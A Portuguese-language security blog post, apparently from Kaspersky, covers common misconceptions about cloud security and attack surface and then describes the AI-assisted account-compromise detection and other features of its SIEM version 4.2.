As discussões sobre orçamentos para projetos em nuvem e seus aspectos de segurança devem ser acompanhadas por exemplos da vida real. O provedor protege o banco de dados contra acesso não autorizado de acordo com as configurações feitas pelos funcionários do cliente. Se os funcionários deixarem um banco de dados aberto ou usarem senhas fracas, ou ainda, se a autenticação de dois fatores não estiver ativada para o painel do administrador, o provedor não poderá impedir que indivíduos não autorizados baixem as informações: um tipo de notícia muito comum. Portanto, o orçamento para esses projetos deve levar em conta as ferramentas de segurança em nuvem e o gerenciamento de configuração feito pela empresa.

Verificação de vulnerabilidades x teste de penetração

As lideranças geralmente confundem as verificações automatizadas, que se enquadram na higiene cibernética, com a avaliação de ativos de TI quanto à resiliência contra ataques sofisticados. Eis o raciocínio: “Por que pagar aos hackers por um teste de penetração quando executamos o verificador toda semana?”

A verificação de vulnerabilidades analisa uma lista específica de ativos de TI com o objetivo de encontrar vulnerabilidades conhecidas. Para simplificar, é como se um segurança estivesse fazendo a ronda para verificar se as janelas e portas do escritório estão trancadas.

O teste de penetração (pentesting) é uma avaliação manual para avaliar a possibilidade de uma violação no mundo real, explorando vulnerabilidades. Para continuar a analogia, é como contratar um ladrão experiente para tentar invadir o escritório.

Um não substitui o outro, e para entender sua verdadeira postura de segurança, uma empresa precisa das duas ferramentas.

Ativos gerenciados x superfície de ataque

Um equívoco comum e perigoso diz respeito ao escopo da proteção e à visibilidade geral mantida pelas equipes de TI e de segurança. Eis um chavão comum nas reuniões: “A lista de inventário do nosso hardware é precisa. Estamos protegendo tudo o que possuímos”.

Os ativos gerenciados de TI são os itens que o departamento de TI comprou, configurou e consegue visualizar em seus relatórios.

Uma superfície de ataque é qualquer coisa acessível aos invasores: qualquer possível ponto de entrada na empresa. Isso inclui Shadow IT (serviços em nuvem, aplicativos de mensagens pessoais, servidores de teste, etc.), que, basicamente, é qualquer método que os funcionários usam para burlar os protocolos oficiais a fim de acelerar ou simplificar o trabalho. Muitas vezes, são esses os ativos “invisíveis” que se tornam o ponto de entrada para um ataque, pois a equipe de segurança não pode proteger aquilo que desconhece.

Um número significativo dos incidentes modernos tem início com o comprometimento de contas. Como os agentes de acesso inicial se tornaram uma indústria criminosa plenamente estabelecida, ficou muito mais fácil para invasores organizarem ataques à infraestrutura das empresas simplesmente comprando conjuntos de logins e senhas de funcionários. A ampla adoção de diferentes métodos de acesso remoto tornou essa tarefa ainda mais simples. Ao mesmo tempo, as fases iniciais desses ataques se assemelham com frequência a ações perfeitamente legítimas de colaboradores e permanecem indetectáveis pelos mecanismos tradicionais de segurança por longos períodos.

Confiar apenas nas medidas de proteção da conta e nas políticas de senha não é uma opção. Sempre existe a possibilidade de que invasores obtenham credenciais de funcionários por meio de ataques de phishing, malware do tipo infostealer ou, simplesmente, pela falta de cuidado de usuários que reutilizam a mesma senha em contas profissionais e pessoais e não dão muita atenção a vazamentos ocorridos em serviços de terceiros.

Assim, a detecção de ataques à infraestrutura de uma empresa exige ferramentas que identifiquem não apenas assinaturas isoladas de ameaças, mas também mecanismos de análise comportamental que reconheçam desvios do comportamento normal de usuários e processos do sistema.

Uso de IA no SIEM para detectar comprometimento de contas

Como mencionamos na postagem anterior, para detectar ataques envolvendo comprometimento de contas, o SIEM da Kaspersky Unified Monitoring and Analysis Platform foi equipado com regras UEBA para identificar anomalias em autenticação, atividades de rede e execução de processos em estações de trabalho e servidores Windows. Na atualização mais recente, seguimos desenvolvendo o sistema nessa mesma direção, incorporando abordagens baseadas em IA.

O sistema cria um modelo do comportamento normal dos usuários durante a autenticação e passa a monitorar desvios em relação aos cenários habituais, como horários de login atípicos, cadeias de eventos incomuns e tentativas de acesso anômalas. Essa abordagem permite que SIEM identifique tanto tentativas de autenticação com credenciais roubadas quanto o uso de contas já comprometidas, inclusive em cenários complexos que antes poderiam passar despercebidos.

Em vez de buscar indicadores isolados, o sistema analisa desvios em relação a padrões normais. Isso possibilita a detecção mais precoce de ataques complexos, reduz o número de falsos positivos e diminui significativamente a carga operacional das equipes de SOC.

Anteriormente, ao utilizar regras UEBA para detectar anomalias, era necessário criar diversas regras responsáveis por executar etapas preliminares e gerar listas adicionais nas quais os dados intermediários eram armazenados. Agora, na nova versão do SIEM, com um correlacionador atualizado, é possível detectar o sequestro de contas por meio de uma única regra especializada.

Outras atualizações na Kaspersky Unified Monitoring and Analysis Platform

Quanto mais complexa é a infraestrutura e maior o volume de eventos, mais críticos se tornam os requisitos de desempenho da plataforma, a flexibilidade no gerenciamento de acessos e a facilidade de operação no dia a dia. Um sistema SIEM moderno deve não apenas detectar ameaças com precisão, mas também permanecer resiliente, sem precisar de atualizações constantes de hardware ou de reestruturação de processos. Por isso, na versão 4.2, demos mais um passo para tornar a plataforma mais prática e adaptável. As atualizações impactam a arquitetura, os mecanismos de detecção e a experiência do usuário.

Inclusão de funções flexíveis e controle de acesso granular

Uma das principais inovações da nova versão do SIEM é o modelo flexível de funções. Agora, os clientes podem criar funções personalizadas para diferentes usuários do sistema, duplicar funções existentes e configurar conjuntos específicos de permissões de acordo com as atividades de cada especialista. Isso permite uma diferenciação mais precisa de responsabilidades entre analistas de SOC, administradores e gestores, reduz o risco de concessão excessiva de privilégios e reflete de forma mais fiel os processos internos da empresa nas configurações do SIEM.

Novo correlacionador e, como resultado, maior estabilidade da plataforma

Na versão 4.2, introduzimos uma versão beta de um novo mecanismo de correlação (2.0). Ela processa eventos com maior velocidade e exige menos recursos de hardware. Para os clientes, isso se traduz em:

• operação estável mesmo sob cargas elevadas;
• capacidade de processar grandes volumes de dados sem a necessidade de expansão imediata da infraestrutura;
• desempenho mais previsível.

Cobertura de TTPs de acordo com a matriz MITRE ATT&CK

Também seguimos ampliando sistematicamente a cobertura da matriz de técnicas, táticas e procedimentos MITRE ATT&CK: atualmente, o Kaspersky SIEM cobre mais de 60% de toda a matriz. As regras de detecção são atualizadas regularmente e acompanhadas de recomendações de resposta. Isso ajuda os clientes a entenderem quais cenários de ataque já estão sob controle e a planejarem a evolução das suas defesas com base em um modelo amplamente aceito pelo setor.

Outras melhorias

A versão 4.2 também introduz a possibilidade de realizar backup e restauração de eventos, além da exportação de dados para arquivos seguros com controle de integridade, algo especialmente importante para investigações, auditorias e conformidade regulatória. Consultas em segundo plano foram implementadas para facilitar o trabalho dos analistas. Agora, pesquisas complexas e que consomem muitos recursos podem ser executadas em segundo plano sem impactar tarefas prioritárias. Isso acelera a análise de grandes volumes de dados.

Continuamos atualizando regularmente o Kaspersky SIEM, expandindo suas capacidades de detecção, aprimorando a arquitetura e incorporando funcionalidades de IA para que a plataforma atenda cada vez melhor às condições reais enfrentadas pelas equipes de segurança da informação. O objetivo é não apenas responder a incidentes, mas também ajudar a construir um modelo de proteção sustentável para o futuro. Acompanhe as atualizações sobre o sistema SIEM, a Kaspersky Unified Monitoring and Analysis Platform, na página oficial do produto.